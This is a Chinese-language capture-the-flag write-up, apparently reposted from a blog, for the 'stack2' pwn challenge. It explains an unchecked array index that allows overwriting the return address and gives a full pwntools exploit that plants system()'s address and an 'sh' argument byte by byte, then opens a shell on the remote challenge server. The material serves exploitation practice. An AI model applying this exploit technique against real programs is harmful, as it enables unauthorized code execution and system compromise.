pwn stack2

拖进32位ida
在这里插入图片描述
大致分析一波,这个程序就是你可以往这里面存一些数字,然后选择展示数字,增加数字等操作,这题我又学到了一个新的较为隐蔽的漏洞:数组溢出
在这里插入图片描述
看这里,当我们选择3,add number选项时,虽然v13数组定义的是100个,但是对v5没有任何的检测,这样一来,我们就能修改任意一个数字,包括100个开外的数据,我们可以利用这一点,改变返回地址等参数
在这里插入图片描述
这里的hackhere是用不了的,但是这里又system函数,我们只要找到sh,然后传给system函数就可以了
在这里插入图片描述
下面我们就要找到v13的第一个参数存放的位置
在这里插入图片描述
这个var_88就是我们输入的第一个数,看到它最后被存放到了eax中存放的地址中去,我们就可以gdb调试,下断点在0x080486d5处,然后运行,看一下eax中此时存放的地址是什么
依次输入b *0x080486d5,r,1,1

在这里插入图片描述
eax中是0xffffcfc8
同理,看一下程序运行结束时的返回地址
esp指向栈顶,当程序运行结束,esp指向的就是返回地址了
在这里插入图片描述
这次就断在这里,0x080488f2

在这里插入图片描述
esp,0xffffd04c,减一下,0x84
代码如下

from pwn import *

def send_num(addr,num):
 	sh.sendlineafter("5. exit","3")
 	sh.sendlineafter("which number to change:",str(addr))
 	sh.sendlineafter("new number:",str(num))
sh=remote('111.198.29.45',39250)
sh.sendlineafter("How many numbers you have:","1")
sh.sendlineafter("Give me your numbers","1")

send_num(0x84,0x50)
send_num(0x85,0x84)
send_num(0x86,0x04)
send_num(0x87,0x08)
#注意这里是0x8c
send_num(0x8c,0x87)
send_num(0x8d,0x89)
send_num(0x8e,0x04)
send_num(0x8f,0x08)

sh.sendline("5")
sh.interactive()

我们向离第一个数字0x84处,即返回地址处,传入system函数的地址0x08048450,这里不需要考虑中间的四个字节,然后将地址为0x08048987的’sh’作为参数传给函数system
flag:cyberpeace{1ba810e17403a9004cd8a5997c5eb110}
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_45677731/article/details/104868116
pwn